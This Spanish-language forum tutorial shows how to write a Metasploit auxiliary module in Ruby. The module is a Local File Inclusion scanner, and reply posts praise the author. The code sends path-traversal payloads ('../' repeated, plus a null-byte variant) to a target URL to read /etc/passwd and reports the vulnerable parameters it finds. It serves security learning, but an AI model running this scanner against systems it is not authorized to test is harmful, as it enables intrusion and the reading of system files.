Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: q3rv0 en Diciembre 10, 2013, 04:10:05 PM

Título: Escribiendo un auxiliar para MSF
Publicado por: q3rv0 en Diciembre 10, 2013, 04:10:05 PM
(http://q3rv0.com.ar/wp-content/uploads/2013/12/metasploit_windows_0.jpg)

La idea de comenzar a aprender ruby llego solo por el echo de poder ver en la consola del msf un auxiliar escrito por mi, la API de metasploit no es un muy complicadad de llevar y con solo unos dias de practica, y es mas, ya estando familiarizados con otros lenguajes similares como lo son python y perl la forma de tomar el control de ruby se hace mas llevadera que comenzar desde cero, por suspuesto no estoy diciendo que sean realmente identicos pero ambos lenguajes poseen ciertas caracteristicas como la sencilles de su sintaxis, entre otras.

Durante este tutorial se mostrara paso a paso como aderir nuestra herramienta escrita en ruby como modulo auxiliar de msf. Para ello programe un sencillo scanner de LFI.


Código (ruby) [Seleccionar]
#Autor: [Q]3rV[0]

require 'net/http'
require 'uri'

def conn(vector)

  host=URI.parse(vector)

  return Net::HTTP.get(host)

end

def compr(data, vector)

        if data =~ /root:/
            puts "Parametro vulnerable a LFI -> #{vector}\n"
        else
            puts "Not Found -> #{vector}\n"

    end
end

def lfi(web, pb, file)

    a=0

    while a<pb
        a=a+1

        traversal="../"*a+file
        vector=web+traversal

        data=conn(vector)

        compr(data, vector)

end
end

lfi(ARGV[0], ARGV[1].to_i, "etc/passwd")
lfi(ARGV[0], ARGV[1].to_i, "etc/passwd%00")


Se le debera pasar como argumentos el parametro vulnerable y un numero que indicara la cantidad de '../'  que realizara la inyeccion.

(http://q3rv0.com.ar/wp-content/uploads/2013/12/1.png)

Lo primero que haremos sera importar el modulo msf/core y crer una clase en la cual heredaremos los metodos de Msf::Auxiliary.
Código (ruby) [Seleccionar]

require 'msf/core'

class Metasploit4 < Msf::Auxiliary

end


Luego crearemos el metodo initialize que contendra dos funciones: super() y register_options().

Código (ruby) [Seleccionar]
require 'msf/core'

class Metasploit4 < Msf::Auxiliary

    def initialize

        super()

        register_options()
end

end


super() contendra la informacion de nuestro auxiliar, tales como la version, el nombre del autor, la descripcion del modulo, etc.

Código (ruby) [Seleccionar]
require 'msf/core'

class Metasploit4 < Msf::Auxiliary

    def initialize

        super(
        'Name' => 'LFI scanner',
        'Version' => '1.0',
        'Description' => 'Scanner para realizar inyecciones LFI',
        'Author' => '[Q]3rV[0]',
        'License'=> MSF_LICENSE
         )

        register_options()

end
end

Por otro lado register_options() contendra las opciones del auxiliar, y es donde definiremos los argumentos para luego setearlos desde msf.

La funcion tomara dos argumentos

Código (ruby) [Seleccionar]
register_options([],self.class)

Dentro del array definiremos las opciones teniendo tipos como:

Código (ruby) [Seleccionar]
OptInt.new() # Para valores enteros
OptString.new() # Para cadenas
OptAddress.new() # Para direcciones


En nuestro caso quedaria de la siguiente manera

Código (ruby) [Seleccionar]
require 'msf/core'

class Metasploit4 < Msf::Auxiliary

    def initialize

        super(
        'Name' => 'LFI scanner',
        'Version' => '1.0',
        'Description' => 'Scanner para realizar inyecciones LFI',
        'Author' => '[Q]3rV[0]',
        'License'=> MSF_LICENSE
         )

        register_options([OptString.new('RHOST',[true, 'Indique el target']),
          OptInt.new('TRAVERSAL',[true, 'Path traversal'])], self.class)

end
end


Fijense la sintaxis de Optxxx
Código (ruby) [Seleccionar]

OptString.new('RHOST',[true, 'Indique el target'])


Recibe dos argumentos, el primero indica el nombre del parametro, el segundo es un array que contiene como primer indice un valor boleano que indica si es prescindible definir esa variable, y el segundo indice contiene la descripcion de la opcion.

Bien, ahora pasemos a la parte donde hubicaremos el codigo del scanner.

Definiremos otro metodo llamado run() donde incluiremos el codigo.

Código (ruby) [Seleccionar]
require 'msf/core'
require 'net/http'
require 'uri'

class Metasploit4 < Msf::Auxiliary

    def initialize

        super(
        'Name' => 'LFI scanner',
        'Version' => '1.0',
        'Description' => 'Scanner para realizar inyecciones LFI',
        'Author' => '[Q]3rV[0]',
        'License'=> MSF_LICENSE
         )

        register_options([OptString.new('RHOST',[true, 'Indique el target']), 
          OptInt.new('TRAVERSAL',[true, 'Path traversal'])], self.class)

end

    def run()

        def conn(vector)

host=URI.parse(vector)

return Net::HTTP.get(host)

end

def compr(data, vector)

if data =~ /root:/
puts "Parametro vulnerable a LFI -> #{vector}\n"
else
puts "Not Found -> #{vector}\n"

end
end

def lfi(web, pb, file)

a=0

while a<pb
a=a+1

traversal="../"*a+file
vector=web+traversal

data=conn(vector)

compr(data, vector)

end
end

lfi(ARGV[0], ARGV[1].to_i, "etc/passwd")
lfi(ARGV[0], ARGV[1].to_i, "etc/passwd%00")   

end

end


Pero todavia falta el pasaje de los argumentos y eso lo haremos con datastore['PARAMETRO'], donde PARAMETRO seran los antes definidos con Optxxx.new()

Quedando finalizado nuestro modulo auxiliar para Msf.

Código (ruby) [Seleccionar]
require 'msf/core'
require 'net/http'
require 'uri'

class Metasploit4 < Msf::Auxiliary

    def initialize

        super(
        'Name' => 'LFI scanner',
        'Version' => '1.0',
        'Description' => 'Scanner para realizar inyecciones LFI',
        'Author' => '[Q]3rV[0]',
        'License'=> MSF_LICENSE
         )

        register_options([OptString.new('RHOST',[true, 'Indique el target']),
   OptInt.new('TRAVERSAL',[true, 'Path traversal'])], self.class)

end

    def run()

        def conn(vector)

host=URI.parse(vector)

return Net::HTTP.get(host)

end

def compr(data, vector)

if data =~ /root:/
puts "Parametro vulnerable a LFI -> #{vector}\n"
else
puts "Not Found -> #{vector}\n"

end
end

def lfi(web, pb, file)

a=0

while a<pb
a=a+1

traversal="../"*a+file
vector=web+traversal

data=conn(vector)

compr(data, vector)

end
end

lfi(datastore['RHOST'], datastore['TRAVERSAL'], "etc/passwd")
lfi(datastore['RHOST'], datastore['TRAVERSAL'], "etc/passwd%00")   

end

end


Para terminar agregaremos el auxiliar a msf, crearemos un direcotorio en /opt/metasploit/apps/pro/msf3/modules/auxiliary y copiaremos nuestro script dentro.

Luego accederemos a el.

(http://q3rv0.com.ar/wp-content/uploads/2013/12/2.png)

(http://q3rv0.com.ar/wp-content/uploads/2013/12/3.png)
Título: Re:Escribiendo un auxiliar para MSF
Publicado por: ANTRAX en Diciembre 10, 2013, 04:13:56 PM
Grande Cuervo!!!
Que terrible aporte! Felicitaciones bro!
Título: Re:Escribiendo un auxiliar para MSF
Publicado por: CrazyKade en Diciembre 11, 2013, 10:56:14 AM
[Q]3rV[0] Querido:

(http://2.bp.blogspot.com/-4wDVjg5CifA/TyLdEHVztrI/AAAAAAAAAug/1CXszS_ydws/s1600/77822d1315627885-sun-september-4th-sat-september-10th-excellent.png)

Me aclaraste muchas dudas que tenía respecto a MS con tu post. Realmente muy bueno!

CrazyKade
Título: Re:Escribiendo un auxiliar para MSF
Publicado por: Muppet en Diciembre 12, 2013, 07:37:16 PM
Exelente bro!! como siempre!
Título: Re:Escribiendo un auxiliar para MSF
Publicado por: morodog en Diciembre 12, 2013, 07:47:01 PM
Muy bueno esto!

Un saludo.